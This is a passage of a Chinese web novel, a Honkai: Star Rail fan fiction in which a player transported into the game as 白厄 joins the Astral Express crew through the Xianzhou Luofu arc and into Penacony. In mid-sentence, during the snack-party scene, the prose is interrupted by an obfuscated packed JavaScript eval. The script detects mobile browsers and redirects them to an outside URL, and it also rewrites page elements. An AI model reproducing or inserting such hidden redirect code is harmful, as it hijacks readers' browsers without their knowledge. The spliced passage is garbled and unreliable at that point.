“……还好,仙舟天人生命力顽强,还有救。”有说话声飘来。 【白厄】躲在转角处,悄悄探头,看见一圈护卫四处警戒,而在包围圈中,白发的将军正半蹲下来,和一名紫发龙角的小女孩说话。 景元、白露……来得很快,应该是刚收到他越狱的消息就往这边来了,景元还提前把白露叫上了,是预料到了会有伤员? 幻胧大概率跑掉了,不知道又会去哪里潜伏起来。 沉思间,忽然有人在背后拍了下他的肩膀,惊得【白厄】差点跳起来。 “怎么啦,为什么不过去?”星不知从哪冒了出来,爽朗道。 你怎么在这里?【白厄】用目光询问。 “我们已经把卡芙卡抓到太卜司啦,正好景元说幽囚狱有异动,就跟了过来,我刚负责把这边搜索一圈,检查是否有异常情况。”星流畅地回答。 【白厄】扫视一圈,果然看到三月七从另一面返回,应该也领到了检查一片区域的任务。 两人说话的声音惊动了不远处的一圈人,守卫们看到【白厄】条件反射的戒备起来,又在景元的示意下收拢武器。 星和【白厄】一前一后地走到景元面前,正好和三月七会合。 三月七对着【白厄】左看看右看看,道:“还好还好,我还担心你受伤呢,毕竟是那个幻……咳,我是说,担心,对,担心你啦。” 演技太差了喂,你们果然都知道岁阳附身的事情。【白厄】无奈。 “无妨,三月小姐不必遮掩,幻胧已经不在此处了。”景元说完,对【白厄】郑重道,“方才武弁向我汇报,是你在幻胧手里救下了她,多谢。” 没关系,她大抵还是被我牵连。【白厄】摇了摇头。 景元挥手叫来白露,介绍道:“这是白露,丹鼎司有名的医师,幻胧毕竟与寻常岁阳不同,不如请她诊治一番,以免留下后患。当然,诊金由神策府出,诸位义气相助,之后我还要另作感谢。” 说着,白发将军不甚稳重地眨了下眼,语气更像在开玩笑。 【白厄】并未注意到这一幕,他此时陷入了沉思:我做检查,真的假的? 不会查出来我其实是个数据人吧? 039 景元的建议合情合理,【白厄】拒绝无果,被塞进白露的队伍,跟着奔赴战场前线。 没错,战场。药王秘传此时已全面发难,正在被云骑合围绞杀,白露主动要求到前线坐镇,【白厄】作为插队看诊的一员,被安排随行。 “等我们去太卜司审完卡芙卡,就去和你会合,对了杨叔也在太卜司,还让我们告诉你要注意安全。”星挥手道别。 告别星和三月七,【白厄】自觉去找白露医生,正好看见景元对白露温声嘱咐着些寻常的注意事项,白露嘴上回答着“我可不是小孩子了”,背后的尾巴却摇得欢快。 景元看到【白厄】,也叮嘱了几句,最后状似随意地笑道:“仙舟不会拒绝心怀善意的客人,景元也不注重命途之分,倘若阁下有意,待灾难平息,可在罗浮随意游览。” 这是不会因毁灭命途而区别对待的意思?【白厄】微微睁大眼睛,点头表示明白,心中轻快了不少。 送走白露和【白厄】,景元并未着急离开幽囚狱,而是向下凝望。 “意图放出呼雷……吗?” 7. 游戏机制百分百(七) 040 “坐吧,伸手,我给你看看。”白露爬到高脚凳上坐好,说话不紧不慢、老气横秋,外表和声线却十分稚嫩……有点可爱。 把即将扬起的嘴角压平,【白厄】默默伸手,停顿一秒收回,略显生疏地拆开手臂的护腕,再放回去。 白露伸手摸了摸,眉头不自觉一皱,又仰起脸仔细打量【白厄】,最后干脆跳下凳子,绕着人转了几圈,翻找出许多奇奇怪怪的仪器上下检查。 【白厄】原本放松的心情随之紧张起来。 “张嘴。”白露探头看了一眼,摸出电子屏记录了什么,“好了,你可以离开了。” 【白厄】并未离开,眼巴巴地看着白露,希望医生能说说结果。 白露想了想,扭过半边身体,把电子屏上的结论挡住了。 【白厄】:“……” 医生您别这样,我有点慌。 白露抓了抓龙角,鼓起脸,有些生气又有些委屈,最后道:“别这么看我,这事有点奇怪,我得先和家属说说,啊,我的意思是和你的同伴说说,到时你也可以旁听。” 不能先和本人说吗,您这话很有对绝症患者隐瞒真相的感觉啊。【白厄】恋恋不舍、一步三回头地被白露请了出去。 当然,他担心的不是自己的身体情况,而是担心白露会得出什么劲爆的结论。 现实世界和游戏机制的相容性还是太差了。【白厄】心想。 041 检查过后,白露把【白厄】扣在了前线营地。 【白厄】每日无所事事,干脆和云骑统领打了个报告,混入前线队伍对抗药王秘传。 这期间断断续续传来许多消息,比如星核猎手逃跑,无名客收复工造司,幽囚狱加强守备力量、无名客卧底药王秘传将中高层人员一网打尽……【白厄】预估着开拓组的进度,盼星星盼月亮,终于等到三人在营地入口亮相。 暂时统领云骑的符玄亲自接待了无名客们,简单寒暄后,【白厄】拉着三人组风一样穿过营地,直奔白露所在。 片刻后,白露送走上一位病人,看着【白厄】叹口气,将几人请入室内,摸出电子屏交给□□,示意众人查看。 “正常……正常……无异常……”三月七探头看去,嘀咕道,“发声系统也是正常,白厄这不是很健康的样子吗,咱还担心了一阵子呢。” □□快速浏览了一遍,若有所思。 【白厄】凑过去看了看,检查报告单从结果看挑不出一点毛病,白露为什么非要等开拓组过来才肯说结论? “单看确实没问题,你们再看看这个。”白露撇撇嘴角,拿过电子屏又调出一份报告,然后将数据重叠,可以看出两份报告数值极为相似,某些波动曲线甚至可以完全重合。 第二份报告的标题名为寰宇智人种标准身体数据(教学版)……【白厄】看了一眼,感觉冷汗要从额头滴下来了。 众所周知,医生们面对的病人一般不按教科书生病,正常人的体检数据也不会和教学模板一模一样,除非这份数据是假的,造假者还不怎么聪明。 “哼,我行医多年还没见过如此‘正常’的检查数据,和经典模板一模一样,何况命途行者的身体数据本应与常人有别。”白露在正常二字上加重力道,说,“我使尽手段也没发现破绽,这已经不是医生的问题了,你们是他的同伴,好好聊一聊再来找我吧。” 说完,紫发的龙女摇着尾巴离开,把风雨欲来的氛围关在了门内。 不,等等,医生,我冤枉啊。 真的是巧合,你相信我啊! 【白厄】徒劳地伸出手,然后小心翼翼地转过身,看向面色不明的三人,露出一个兼具讨好与心虚的笑容。 嗨,朋友,可以给我个解释的机会吗? 042 “厉害啊兄弟,连罗浮名医都找不出问题,技术手段和星核猎手有一拼了,可以教教我吗?”星两眼发光。 “现在不是说这个的时候吧?”三月七拉开星,看着【白厄】欲言又止,“哎呀,本姑娘也不知道说什么了,你,你的身体其实没问题吧?” □□道:“逃避不能解决问题,至少这件事,可以和我们说一说。” 【白厄】:“……” 他被这各不相同的关心淹没了,花了十几秒平复心情,才摸出手机打字解释:“这是意外,我很健康,我没想到会这样。” 星坐到□□身边,模仿后者低沉的嗓音道:“详细说说。” 详细不了,我能猜到这是游戏角色满血时对外部检测的实际反馈,却无法解释这种现象,除非坦白自己是玩家也是纸片人。【白厄】苦恼地揪住头发,既不相信自己编造谎言的水平,也不想欺骗□□、星和三月七。 “我真的,很健康,没有问题。”他只能打字强调。 星叹了口气,一本正经道:“算了吧杨叔,你看给孩子逼得,都快会说话了。” 【白厄】差点被开拓者突然冒出来的话噎死。 三月七突发奇想:“要是能因此流畅说话,好像还赚了。” 【白厄】忍不住瞪向三月七。 □□忽然笑了一下,他伸手按住【白厄】的肩膀,语气沉稳:“我之前也说过,现在重复一遍,我们都无意对他人的过往刨根问底,但你要记得,我们是同伴,不要抗拒,不要掩饰,不要逃避这份关心。我们对你是这样,你对我们也是这样。” 啊。 怎么突然煽情起来了。 【白厄】下意识低头错开□□的目光,随后意识到这动作太过明显,又连忙抬头。 “诶,真哭了,不会吧不会吧?”星说。 “原来是这么可爱的性格吗?”三月七摸出相机,向着【白厄】道,“看镜头看镜头,三、二、一,茄子。” 画面就此定格。 043 我是【白厄】,今天是我追杀三月七的第一天。 代号粉霞天女的邪恶无名客使用神奇的蓝色机器定格了我的黑历史,为了今后的生活,赌上所有的名誉,我必将夺得神奇的蓝色机器,将黑历史彻底删除! 【白厄】扒着墙角一瞬不瞬地盯着那道粉蓝色的身影,目光深邃,表情坚毅。 “这位无名客在干什么呢?” “不知道,无名客干什么都不奇怪,都喜欢翻快递箱了就让让他们吧。” 两名云骑交谈着走远了。 【白厄】:“……” 他听得见,你们仙舟人八卦别人时都这么大声吗?再说分明只有星核精会翻快递箱。 “让一下让一下,你这么大只,蹲这里太挡路了。”白露拽了拽他的衣角,扬起脸道,“对了,说好了,之后带我去金人巷吃小吃,我就不计较你戏耍医生的事情啦。” 小事一桩。【白厄】点头,瞬间将“三月七追杀计划”抛到脑后。这几天他已经发现游戏账号内的信用点可以正常使用,请白露吃一顿好吃的,实在是绰绰有余。 片刻后,无名客外加白露在一处银杏树下的小桌边聚齐。 这段时间里,药王秘传魁首在无名客的帮助下伏诛,对丰饶余孽的围剿也进入尾声,终日忙着救治伤员的白露空出了时间,营地内的氛围也宽松了不少。 □□趁机以感谢为由叫白露过来吃些茶点——这个理由大概是真的,但还有一半原因,是白露每日由持明族提供的膳食看起来清淡凄惨,靠谱的列车家长想要借机给嘴硬心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048685|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软的小姑娘改善改善伙食。 “景元将军不在,不然可以一起拉过来。”星半点也不见外地说着,把一摞打包盒放在桌子上,“我看到他今早出去了,还神神秘秘地说要给我们带回来个惊喜。” “那我们等他?”三月七刚摸出一串晶莹红润的琼实鸟串,闻言露出了愣愣的表情。 “不必,一些小吃而已。”□□习惯性地推一推眼镜,分析道,“建木因星核生发,幻胧也露出踪迹,最终一战就在眼前了。这时不该绷得太紧,稍作放松,才能保持更好的状态。” 决战……景元不会是去截丹恒了吧?【白厄】心想。 他大概扫了眼桌子上的小吃分量,摸出手机装作看消息,实际将意识沉入系统界面,在背包中的消耗品一栏中翻找起来。 【白厄】抽空做过实验,背包中食物的效果只对自己生效,对别人来说只是平平无奇的美食。现实世界中获取的食物无法收入背包也没有特殊效果,想获取具备特殊效果的消耗品,必须由他操作系统中的万能合成机来合成。 不过,其他人能吃就行。 面包“干”、红土饲料、垂语果干?额,看起来不怎么好吃啊,大地兽肉排、黄金蜜饼,这两样倒是没问题,不过翁法罗斯的一切并非真实,这些东西拿出来真的可以饱腹吗? 【白厄】以开拓的心态取出一份黄金蜜饼,将托盘轻轻放到桌子上。 “哇……你是从哪掏出来的好吃的?”白露眼睛一亮。 【白厄】得意一笑,并未解释。 他不介意在信任的同伴面前展现特异,但不会多做解释,因为大家也不会深入追究。 果然,星随口接话:“那是他的特异功能,别在意。” 说完,灰发的开拓者亮晶晶地投来目光:“兄弟,可以点菜吗?” 当然……不行。【白厄】又掏出一份大地兽肉排,用行动表示拒绝。 各色小吃美食将桌面挤得满满当当,大家你来我往吃得格外开心。 于是,当忧心伙伴的丹恒穿着饮月君传统服饰随景元来到营地时,所见的便是伙伴们活蹦乱跳地往嘴里塞着好吃的,身体倍棒吃嘛嘛香,看起来已经乐不思列车了。 丹恒:“……” 胸腔里翻滚的担忧忽然全部喂了谛听。 ……不过,大家都没事,真好啊。 三月七最先看见丹恒,惊讶得有些不敢相认:“哇,丹恒,你还真有隐藏的力量啊。” “快来快来,白厄掏出来的神奇美食分量太多了,一起吃。”星愉快地招手。 丹恒伸手扶额,抵达仙舟后一系列事件促成的沉重氛围就此崩落一地,熟悉的、温暖的无奈感包围了他,令他幻觉自己其实还在星穹列车上。 丹恒说:“好。” 044 吃饱喝足后,自然混入聚餐团的景元表示幻胧已入侵建木,需要丹恒打开封印,然后大家一起去把作为boss的幻胧打倒,再封印星核,罗浮的灾难便可以宣告结束了。 原话并非如此,【白厄】浓缩翻译了一下,大概是这个意思。 于是一行人浩浩荡荡的前往鳞渊境,丹恒依次点亮机关,走到漫漫古海之前,并指闭目,衣袍无风自动,身躯在流转的云气水雾之中飘上半空。 他睁开水青色的双目,眼中亮起湛湛光彩,伸手指向前方。 忽然,有闷雷般的声响连绵而起,亿万方水体翻涌出无数气泡,汹涌浪潮自龙尊所划定的长线向两侧涌动,形成两面无天无地的波涛之壁,而在那流水之下,往昔的古城重见天日,色彩绚烂的持明卵散落其间,如珍珠点缀。 朦朦云雾之间,所开辟通路的尽头,是一尊生长成龙形的鎏金之木。 8. 游戏机制百分百(八) 045 景元命云骑在此地留守,又与符玄交代一番罗浮事务,未尽的言语间,似有为一去不回做准备的意思。 他稍微停顿,又说:“我前几日命幽囚狱加强守备,却未引入生人,在此期间,若有人借故去见呼雷,或有大量犯人入内,符卿定要警惕,幻胧以挑唆计谋闻名,落子罗浮的手段,绝非只有星核。” 符玄沉默两秒,抱起手臂扭过头去,语气却是极为郑重的:“我不会说什么一定要你回来述职的话,这段时间,你大可将罗浮交给我,我定不辱使命。” 景元郑重道:“我相信符卿。” 短暂的告别后,一行人沿着珊瑚贝壳堆砌的通路向下前进,逐渐深入古城,海水之下的古城仍保留着久远时光之前的痕迹,与现在的持明族建筑略有不同,众人新奇的左看右看,体会着仿若穿越时间的奇妙感觉。 丹恒目光落在往昔的建筑上,表情似有怀念,似有陌生,他自繁多的通路中明确行进转折,引着众人走到持明封印之处,对着封印的纹理观察片刻,便依次点亮石灯。 嗯……看起来不像观察敏锐,而像是没忘干净。【白厄】心想,目光落在封印旁边的持明族壁画上,古朴而不失精细的壁画刻录了一位持明族人从生至死、由死新生的过程。 持明族是不朽星神、龙的后裔,自卵中化生,成长、衰老、死亡,又变成一颗卵,落入波月古海,在古海中被洗去所有记忆,作为崭新的生命重新降生。每个持明都如衔尾蛇般轮转不休,不朽永生。 既视感令【白厄】有些恍惚,莫名其妙地联想到了翁法罗斯与莫比乌斯环,不过,虽然都是轮回,持明族和翁法罗斯可是两回事。 封印解开的瞬间,远处建木的光泽似乎明亮了一些,空气中混入了某种锋利灼热的细微气息,【白厄】分辨不清,只觉得有些熟悉。 “此地不朽、丰饶之力混杂,更有毁灭之力逸散,幻胧恐怕已经得手了,我们要加快速度。”景元将目光自建木收回,说道。 丹恒微微点头,引着众人穿过大片建筑,又找到两处地点,依次点亮石灯,彻底解除了建木封印,代表封印的光芒熄灭,通往建木玄根之处的通道打开。 建木玄根之处,一行人还未行到终点,幻胧的声音已经先一步响起。 “诸位真是心急,妾身尚未梳洗完毕,便已经找上门来。呵呵,也罢,请看这美丽的肉身,丰饶之力,名不虚传……各位现在看起来,如蝼蚁般渺小呢。” 金色的火焰升腾而起,在虚幻的火光中,头戴莲花、手持团扇的巨大身形浮现,女人笑吟吟地俯视着一行人,伸出折扇轻轻一点,金色的莲花凭空盛放。 046 丰饶的金莲自虚空盛开,却并未降下生命的恩赐,而是吮吸着众人的气力。 【白厄】体感并无不适,但进战后更替的图标上,战技点正随时间逐渐流逝。 “幻胧已取得了丰饶之力,和她对战不可拖延,我们速战速决。”景元说着,召出阵刀,金色雷霆随锋刃一同劈落。 丹恒腾跃至半空,挥手招来流水聚成龙形。而在青龙之下,星对准金莲挥动球棒,三月七凝结六相冰落下庇护,□□平静前行,但挥手间便令一片区域微微扭曲,金莲转瞬消失,如被不可见的黑洞吞噬。 【白厄】仰头看向幻胧,握紧侵晨:“为了明天!” 几朵金莲转眼被清除干净,积累的力量反哺而出,令人精神一振。幻胧不以为意,伸手捏出一颗暗紫色的陨星,向众人丢出,迫近的陨星带起强劲的风压,令人产生窒息的错觉。 【白厄】动作微微一顿,上次就是这招清空了他的血条,迫使他退出境界。 下一秒,浩荡青龙与金色雷霆自半空拦截,陨星崩裂,迸射出千万道锋利的光芒,□□向前一步挡住余波,在他身后,一道粉蓝色的箭矢携带着铺天盖地的帕姆冰雕砸向幻胧。 “哼,雕虫小技。”陨星被无伤化解,幻胧脸色微微一沉,挥动团扇将六相冰雨扫开,目光落在【白厄】身上,忽然又显露笑意,“诸位如此同心协力,以多欺少,妾身实在伤心,不如便让那位恩公,助我一臂之力吧?” 无数藤蔓破地而出,缠绕而上汇聚成牢笼。景元阵刀微转斩断藤蔓,而后挥出几道雷霆,将众人身边的藤蔓精准切断。 战局情况瞬息万变,【白厄】自幻胧目光落下便心生警惕,本想挥动侵晨先一步斩断藤蔓,忽然想到按照原本的发展,接下来,幻胧应当是抓住景元扬言要将仙舟将军注入毁灭之力,转化成虚卒。 但现在幻胧的目标在他身上,也就是说,如果…… 思索间,几道明显与他人不同的暗紫枝叶已经缠绕而上,某种冰冷而酷烈的力量自外部入侵。【白厄】稍作等待,看着血条咔嚓掉了一截,状态栏中挂上一个代表“受控”的图标。 身体在瞬间失去控制,意识却很清醒,【白厄】展开“倒计时:3”的受控状态图标看了看说明,心情变得有些微妙。 众所周知,角色被控制时会打队友,但纯普攻无战技,也不会使用终结技。如果这是在游戏里,【白厄】肯定会发出尖锐爆鸣表示你不要控我主c,但如果是在穿越后的话…… 额,一个被系统托管,只会普攻三次,前摇长后摇长间隔也长的敌人,应该起不到什么作用吧?他都替幻胧心疼这些被注入的毁灭力量了。 047 暗紫色的不祥力量顺着藤蔓注入,白发蓝眼的青年身体一僵,不自觉伸手扶住额头,呼吸声变得压抑而急促,似乎正在挣扎。 金色雷霆瞬息而至,将紫色的藤蔓尽数砍断,□□挥手示意其他人不要靠近,自己走近两步,询问道:“还好吗?” 青年抬头看他,蓝色眼眸一片黯淡,而后毫无预兆地挥动大剑砍下。 □□抬起拐杖格挡,退后一段距离,脸色变得有些难看。 “呵呵,没错,就是这样。厮杀吧,战斗吧,不要压抑你的力量。”幻胧畅快地笑了起来,“哎呀哎呀,这番自相残杀的戏幕,真是怎么看都不会腻呢。” “幻胧,你以为你胜券在握了吗?”高处有声音冷冷落下,汹涌流水化作青色龙形盘旋在丹恒身侧,在他挥手间轰然落下。 “哼。”幻胧被迫收回注意力,“不朽的龙裔,罗浮的将军,也罢,就让妾身看看,你们到底有何能耐!” 天空之上,三道不同的力量如云霞弥漫,你争我夺。天空之下,□□再次挡住【白厄】的袭击,青年落下一斩后并未追击,而是捂着脑袋,似乎陷入了新一轮的挣扎。 “喂,白厄,醒一醒啊。”三月七喊道,“再不醒过来,本姑娘、本姑娘要看不起你了!” 青年放下手,表情一片漠然,提剑便向三月七砍去,星斜插进来,举起球棒挡下大剑:“好重的力道!” 三轮普攻已过,受控状态解除。 【白厄】心中一动,收剑站立,微微垂头,仍然装作受控制的模样。 恰在此时,半空中的战斗变得极为焦灼,幻胧被协力而来的青龙与雷霆逼退,目光下落到【白厄】身上,忽然伸手抓去。 青年木偶般站在原地,不闪不避地被抓到半空。 “无礼而无知的蝼蚁们,竟敢这般毁坏我美丽的肉身,既然你们愿意打,便和他打吧。”幻胧咬牙说着,看向【白厄】,“我能感知到你内心深处那极度压抑的怒火,点燃它,释放它,让我看看到底能爆发出多大的力量!” ……就凭你也配? 【白厄】心中想着,不再掩饰,突兀抬头对着幻胧笑了一下,然后猛然一蹬,跃出那巨大手掌形成的牢笼,炽烈的光辉在侵晨大剑上流淌。 他说:“为了……明天!” 剑锋在幻胧脸上留下一道长长的伤口,而在幻胧失神的瞬间,丹恒和景元对视一眼,不约而同地抬起武器,万顷流水化作巨龙,金炽威灵空中现身。 “苍龙濯世!” “煌煌威灵,斩无赦!” 建木所造的巨大人形被强横的力量撕裂,幻胧轰然倒下,余波自半空中形成一圈圈云痕,残余的水龙与雷霆将毁灭的力量尽数搅散。 巨大的人形化作漫天光点徐徐飘散,建木玄根之处重归宁静。 丹恒轻轻落地,召出一道流水托住边下落边扑腾试图稳住身形的【白厄】,片刻之后,一朵暗淡许多的灵火徐徐飘起,发出幻胧的声音。 “……巡猎的将军,不必得意,不过是一具随手捏造的肉身罢了……我们走着瞧!” “走吧,毁灭的卒子。”景元收敛一贯温和的笑容,冷声道,“告诉军团,巡猎的复仇,必将到来!” 金色的雷霆击散了灵火的虚影,点点残余迅速消散。果然,这只是幻胧留下的一道假身,而狡猾惜命的本体早已走脱。 048 “好耶!” “好耶!” 星和三月七高兴地击掌庆祝蹦蹦跳跳,然后将目光投向丹恒,丹恒下意识看向别处,又将目光扭回,无奈地伸手与两人击掌。 景元静静地看着三人互动,目光悠远,嘴角含笑。 “刚才幻胧向你注入了不少毁灭之力,还好吗?”□□向【白厄】问道。 没关系,完全没有后遗症。【白厄】拉开空荡荡的状态效果栏看了一眼,确信点头。 “诸位再不出去,符卿可要等着急了。”景元笑道,“神策府已派人为无名客订好客房,今日可先休息,有什么事,明天再议。” “诶,又是订客房和明日再说啊?”三月七挠了挠头,“当时可可利亚也是和咱们这么说的,然后唔唔……你捂我嘴干什么啊?” 星松开手,比了个叉号。 丹恒叹气,对景元道:“那我们就不叨扰将军了,明日再见。” 景元微微点头:“明天见。” 一行人活泼欢快——特指星和三月七——的走出了建木所在之地,景元叫人带无名客前往客栈,自己与符玄商议起了什么。 【白厄】高高兴兴地和列车组向外走,却在营地边缘被单独拦下,紫发龙女抱着手臂站在那里,道:“景元将军和我发消息说了情况,毁灭之力侵蚀性不低,我给你检查一下。” 他苦恼地挠挠头,打字道:“我没问题,检查也是没问题。” 白露眼睛微微瞪大,反而被激起斗志,挽起袖子道:“好哇,你的意思是我还会什么都查不出来?今天就让你看看本龙女的厉害,正好我这几天新学了不少技巧,和我走。” 小只的龙女气势汹汹地拖着他就走,【白厄】对伙伴们伸手求助,结果大家看天看地不看他,再一次体现了某些时刻格外脆弱的友谊,任由同伴被抓走了。 一番折腾之后,白露放下手中“一切正常”的报告单,气鼓鼓地瞪着【白厄】。 因为我真的没问题啊……【白厄】举手投降,而后心中一动,打字道:“神医辛苦,我们出去吃些好吃的吧?” 白露眼睛一亮,又扭过脸道:“别把我当小孩子哄,我才不、不想吃。” 【白厄】转到白露正面,打字道:“我们约好了的。” 一分钟之后,一大一小两个身影鬼鬼祟祟地摸出了营地,一头扎入了金人巷。 049 【白厄】伙同白露把金人巷的小吃街逛了一圈,将罗浮有名的小吃全品尝一遍,最后拎着几罐苏打豆汁儿回到客栈,将其分给了自己的好伙伴们。 这可是仙舟特产,他绝对没有任何报复的意思。 等他回到属于自己的客房,罗浮模拟出的夜色已然降临。 游戏角色不需要睡觉,只是具备“睡眠”功能。 【白厄】起初有些不适应,习惯后反而觉得不错,在列车上,他有时会趁大家都沉入梦乡,唤醒虚拟屏幕,静音翻阅智库内容,或者和通用课程互殴,直到第二天到来。 但今天倒不必如此。 一日奔波沉淀成些许疲惫,又从疲倦衍化成软绵绵的睡意。【白厄】自知这只是精神上的感受,身体依然精力充沛, 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数据、本该未诞生的同僚……看来幻胧消失的这几日不光是在建木捏肉身,还循着蛛丝马迹查到了铁墓身上。是毁灭令使对命途的感知敏锐,还是黑潮的样子太明显了? 【白厄】心中转着念头,面上并无表情,道:“我不是‘铁墓’。” “呵,妾身似乎还未提到这个名字。”幻胧道,“寰宇之大,果然什么都可能发生。你可以不认同这个代号,却不能改易自身的本质。哎呀呀,究竟是怎样悲惨的终局,才会让人付出如此代价,也要溯回而上,成为时间的囚徒呢?” 【白厄】并不言语。 幻胧笑了起来,慢条斯理道:“那肯定,是一场足够盛大的毁灭吧?” 侵晨亮起辉光,【白厄】一剑挥散幻胧的身形,那身影却如烟雾般再次凝聚。 “我说了,我只是来和你聊几句而已。”幻胧伸手搭上【白厄】的肩膀,在剑刃抵达前松手退开,“让我猜猜,你愿意和无名客们玩过家家,是因为他们能实现你心中的愿望,拯救那个虚假的世界?” 【白厄】依然沉默。 于是幻胧消散重组,在他耳边低语:“可你身在此处,不正是证明了一件事:星穹列车没能拯救翁法罗斯,而你,你什么都做不到。” 眼中的日轮亮起金色微光,【白厄】挥剑逼退幻胧,却看见虚幻的火焰掠过眼前。天空不知何时变成了殷红似血的颜色,而那金色的麦浪,正在熊熊燃烧。 幻胧的身影在烈火中渐渐消散,却仍有笑声回荡。 烈火模糊了哀丽秘榭的风景,万物化作红与黑的灰烬,世界正在燃烧。 【白厄】闭上眼睛,呼吸着灼热的空气,叹出一口气。 他不是白厄,他是玩家。所以无论幻胧脑补出了怎样的剧本,说出如何锋利的言语,对玩家来说,效果都大打折扣。 只是不知为何,在这天与地与海都在熊熊燃烧的梦境中,他独自一人,感到有些惆怅。 050 第二日的商议未有波澜,景元以罗浮神策将军之名将一枚结盟玉兆赠予星穹列车,承诺只要发出信号,无论天涯海角,罗浮仙舟必率云骑前往相助。 星核爆发的影响渐渐平息,背后的暗流仍在涌动。大灾之后百废待兴,神策府下发的大片公文里,饮月君转世流放令解除一事几乎没有在持明族之外掀起波澜。除此之外的余波大抵与无名客们无关,大家散作满天星,各自扎进罗浮,按自己的喜好进行开拓。 【白厄】没有特意跟着开拓者一起行动,每日在罗浮各处随心游荡,误打误撞地帮助住民一二三四,解决委托五六七八,等他知道的时候,他在仙舟人嘴里的代号已经变成了“那个热心的白毛无名客”。 比起星的外号“银河球棒侠”,总觉得在哪里输了。 今天难得清闲,【白厄】买了杯据说风靡仙舟的星芋啵啵喝了一口,发现口味甜腻且大块星芋很难吸上来,于是在路边找了个长椅坐下,另一手摸出在仙舟买的玉兆(手机)登录罗浮杂俎,打算边刷帖子边慢慢解决这杯好看但不好喝的饮料。 “咦?这个内容是……” 首页自动推荐了“小桂子Guinevere”的新帖子,主播桂乃芬一转烟火气四溢的日常杂耍风格,转而发布了多条似是而非的震惊文体。 从“染血棋盘寄宿仙人附体下棋开启棋魂传说”到“太卜司更迭算法冒出海量工作淹没无辜打工人”再到“超平行时空同位体现身形成二重身”,主打一个虚构史学家,内容离奇但热度不低,评论区的大家纷纷表示好看爱看再编一点。 【白厄】很快便回想起事情起末。 工造司熔炉爆炸后,岁阳逃逸四处附体,在仙舟上引发种种异状,导致异闻怪谈四处传播。主播桂乃芬、云骑李素裳、十王司霍霍,加上开拓者星,四个人机缘巧合组成了捉鬼小队,在神策府的支持下抓捕岁阳并搅乱视野,这些看似胡编乱造的帖子正是转移大家注意力的一环。 从发帖日期来看,星还是个肝帝,两三天就抓了七八只岁阳,效率奇高。 “……这帖子内容可比游戏里详细多了。”【白厄】兴致勃勃的把帖子全翻了一遍,在评论区真心实意地留下一句“好看爱看多编点”,顺便点赞收藏,为捉鬼小队贡献一份热度。 “不过,既然捉鬼小队事件已经发生,仙舟之旅应该要抵达尾声了。”他想了想,切换到列车一家人的群界面,果然看到帕姆宣布列车补给已经完成,这几天就会重新启程,前往匹诺康尼参加谐乐大典。 把界面切换回罗浮杂俎,一边刷帖一边将星芋啵啵喝得见底,【白厄】用力嘬了嘬吸管,发现剩下的星芋实在吸不上来后打开封盖将其挑出来吃掉,然后摸出一块固态净水咬了两口,将残余的甜腻味道消除。 “奇怪,我从前是不是对甜味接受度还挺高来着,现在反而不太喜欢了。”【白厄】心中念头一闪而过,很快便摇摇头,站起身来,打算临时更换路线,找这些日子在仙舟认识的朋友们告别。 9. 游戏机制百分百(九) 051 几天后,星穹列车内。 【白厄】端正坐在观景车厢的沙发上,看着窗外的星海逐渐变成拉长成一道道蓝色流光,在短暂的颠簸后,眼前一暗一明,四周的景象从星穹列车变成了一处蒙着暗蓝滤镜的会客室。 他的心中冒出一个问号:“?” 红色沙发、花纹地板、彩色拼窗,加上悬浮的杯盏与空中的气泡,这里分明是匹诺康尼因浓郁忆质而形成的梦境世界。但刚抵达就落入梦境间隙,这不是星核精的待遇吗? 【白厄】稍微检查了下会客室的情况,没发现任何问题,只好推开唯一一扇倾泻亮光的门户,一步跨出,来到笔直深邃的走廊中。 走廊尽头是一扇彩色玻璃拼接而成的奇异门户,身后的大门与其一模一样。【白厄】不禁怀疑自己在走廊中原地转上几圈,就会分不清自己从何而来、要到哪去。 “……这里不会也和游戏里一样,搞走廊鬼打墙吧?”他心想。 【白厄】略微迟疑了一下,沿着走廊向前。 两侧墙壁上挂着许多人物肖像画,但大片色块涂抹粗糙,看不出五官与形貌,只能大致分辨出是一位位衣着优雅的男士、女士,【白厄】认真观察了一下,判断出肖像画上不是自己认识的人。 啪嗒、啪嗒、啪嗒……安静的走廊内,只有脚步声响起。 【白厄】推开尽头的门户,发现面前仍然是一段长长的走廊,他回头观察了一下,发现身后毫无动静,只有肖像画上的人们沉默注视着一切。 “我有种不祥的预感。”他想。 果然,走廊的尽头仍然是走廊,一段又一段,无休无止。 【白厄】尝试过回返,发现蒙着暗蓝滤镜的会客室已经悄然消失,原路返回所能见到的仍然是一段又一段无尽的长廊。 无论前进还是返回,所行的路途都一模一样,但某种异样感徘徊在心中挥之不去,【白厄】思索了一下,恍然发觉走廊两侧的肖像画似乎在变得越来越模糊。 每开一次门,肖像画就变得粗糙一点,细微的变化逐渐累积,直到现在,肖像画上的人们已经混淆了服饰与脸型,厚重涂抹的油彩无声地向下滑落,在画的角落拥挤、堆积,恍若随时能溢出画纸,沿着墙壁流淌下来。 “不行,不能再这么走下去了。”【白厄】止住脚步,来到一处没有悬挂肖像画的墙壁前,伸手一握,召出侵晨大剑,随后用力劈下。 墙壁如柔软的胶质被顺滑劈开,在剑锋落下后又无声弥合,些许彩色的气泡从中飘出、炸开,在空气中留下氤氲的虹彩,透过虹彩,景物似乎扭曲起来。 【白厄】微微皱眉,没有再做无用功,托着下巴沉思。 “普通的攻击不起作用,但这里终归还是忆质构成的梦境,如果换成更激烈的……” 侵晨化作光点消失,【白厄】向前伸出手,虚幻的羽翼与光环在身后展开。 “点燃黎明!” 红黑色的空洞陡然出现,漩涡般吞噬了大片景物,长廊微微抖动、震颤,所有色彩化作流淌的液体,落入黑红色的空洞。 因为没有消灭敌对怪物,黑红色的空洞消散后,秘技点自动返还。 但走廊的色彩没有恢复,原本精致的与现实世界无异的走廊变得单调苍白,些许地方甚至变成了虚幻的线条,仿佛从精致渲染的模型变成了未完成的草稿。 “有效果。” 【白厄】眼睛微微一亮,再次伸出手。 “点燃黎明!” 